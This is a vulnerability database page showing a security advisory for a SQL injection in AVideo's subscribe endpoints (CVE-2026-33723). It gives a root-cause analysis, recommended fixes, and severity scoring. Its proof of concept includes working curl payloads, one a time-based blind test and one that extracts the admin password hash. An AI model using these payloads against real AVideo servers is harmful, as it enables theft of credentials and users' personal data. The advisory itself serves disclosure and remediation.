Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-ffr8-fxhv-fv8h
Advisory ID github_osv/GHSA-ffr8-fxhv-fv8h
Aliases CVE-2026-33723
Summary AVideo is Vulnerable to SQL Injection through Subscribe Endpoint via Unsanitized user_id Parameter ## Summary The `Subscribe::save()` method in `objects/subscribe.php` concatenates the `$this->users_id` property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from `$_POST['user_id']` in both `subscribe.json.php` and `subscribeNotify.json.php`. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts. ## Details The vulnerability exists because of a disconnect between where `intval()` is applied and where the value is used in SQL. **Entry points** — `objects/subscribe.json.php:40` and `objects/subscribeNotify.json.php:23`: ```php // subscribe.json.php line 40 $subscribe = new Subscribe(0, $_POST['email'], $_POST['user_id'], User::getId()); ``` **Constructor stores raw value** — `objects/subscribe.php:34`: ```php public function __construct($id, $email = "", $user_id = "", $subscriber_users_id = "") { // ... $this->users_id = $user_id; // Raw $_POST['user_id'], no sanitization $this->subscriber_users_id = $subscriber_users_id; if (empty($this->id)) { $this->loadFromId($this->subscriber_users_id, $user_id, ""); } } ``` **`getSubscribeFromID` sanitizes local copies only** — `objects/subscribe.php:137-139`: ```php public static function getSubscribeFromID($subscriber_users_id, $user_id, $status = "a"){ $subscriber_users_id = intval($subscriber_users_id); // Local variable only $user_id = intval($user_id); // Local variable only — $this->users_id is NOT affected ``` When `getSubscribeFromID` finds no matching subscription (the attacker simply targets a user_id they haven't subscribed to), `loadFromId()` returns false. The object's `$this->id` remains null, and `$this->users_id` retains the unsanitized injection payload. **Vulnerable sink** — `objects/subscribe.php:88`: ```php public function save() { if (!empty($this->id)) { // UPDATE path (not reached when $this->id is null) } else { $this->status = 'a'; $sql = "INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id) VALUES ('{$this->users_id}', ..."; // Direct concatenation of injected value } $saved = sqlDAL::writeSql($sql); // Called with NO $formats or $values ``` **`sqlDAL::writeSql` provides no protection** — `objects/mysql_dal.php:102`: When called without `$formats`/`$values` parameters (as `save()` does), the `eval_mysql_bind()` function at line 636 returns `true` without binding any parameters. The already-concatenated SQL string is passed directly to `$global['mysqli']->prepare()` and `execute()`, executing the injection as the prepared statement itself. ## PoC **Prerequisites:** An authenticated session on the target AVideo instance. **Step 1: Confirm injection with time-based blind SQLi** ```bash # Pick a user_id that the current user has NOT subscribed to (e.g., 99999) # The SLEEP(5) will cause a ~5 second delay confirming injection curl -s -o /dev/null -w "%{time_total}" \ -b 'PHPSESSID=VALID_SESSION_ID' \ -d "user_id=99999'+AND+SLEEP(5)+AND+'1" \ https://target/objects/subscribe.json.php # Expected: ~5 second response time (vs <1 second normally) ``` **Step 2: Extract admin password hash via INSERT subquery** ```bash # Inject a subquery that reads the admin password hash into the email column curl -b 'PHPSESSID=VALID_SESSION_ID' \ -d "user_id=99999',(SELECT+pass+FROM+users+WHERE+isAdmin=1+LIMIT+1),'a','1.1.1.1',now(),now(),'1');%23" \ https://target/objects/subscribe.json.php ``` This closes the `VALUES` clause with attacker-controlled data and comments out the rest of the query. The admin password hash is inserted into the `email` column of the `subscribes` table, which can be read back via the subscription list API. **Step 3: Read exfiltrated data** The injected row is readable via any endpoint that queries the `subscribes` table and returns the `email` field (e.g., `getAllSubscribes()`). The same attack works against `objects/subscribeNotify.json.php` via the same `user_id` parameter. ## Impact - **Full database read access:** An attacker with any authenticated account can extract arbitrary data from all database tables using INSERT subqueries, including: - User password hashes (`users.pass`) - Admin credentials - Encryption salts and API keys from configuration tables - Email addresses and personal data of all users - **Data integrity:** The attacker can insert arbitrary rows into the `subscribes` table. - **Two affected endpoints:** Both `subscribe.json.php` and `subscribeNotify.json.php` pass raw `$_POST['user_id']` to the vulnerable code path. ## Recommended Fix Apply `intval()` to `$this->users_id` before use in the constructor, or better yet, use parameterized queries in `save()`. **Option 1 — Sanitize in constructor** (minimal fix): ```php // objects/subscribe.php, constructor (line 34) - $this->users_id = $user_id; + $this->users_id = intval($user_id); ``` **Option 2 — Use parameterized query in save()** (recommended): ```php // objects/subscribe.php, save() method (lines 87-90) public function save() { global $global; if (!empty($this->id)) { $sql = "UPDATE subscribes SET status = ?, notify = ?, ip = ?, modified = now() WHERE id = ?"; $saved = sqlDAL::writeSql($sql, "sssi", [$this->status, $this->notify, getRealIpAddr(), $this->id]); } else { $this->status = 'a'; $sql = "INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id) VALUES (?, ?, ?, ?, now(), now(), ?)"; $saved = sqlDAL::writeSql($sql, "isssi", [intval($this->users_id), $this->email, $this->status, getRealIpAddr(), intval($this->subscriber_users_id)]); } ``` Option 2 is strongly recommended as it also fixes the unsanitized `$this->email`, `$this->status`, and `getRealIpAddr()` values in both the INSERT and UPDATE paths, preventing any future injection through those fields.
Status Published
Exploitability 0.5
Weighted Severity 6.4
Risk 3.2
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (1)
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N Found at https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-ffr8-fxhv-fv8h/GHSA-ffr8-fxhv-fv8h.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-24T14:43:40Z/

Decision: Track

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/33xxx/CVE-2026-33723.json

Source Advisory: vulnrichment/CVE-2026-33723

View SSVC decision tree
[{'Exploitation': 'poc'},
 {'Automatable': 'no'},
 {'Technical Impact': 'partial'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]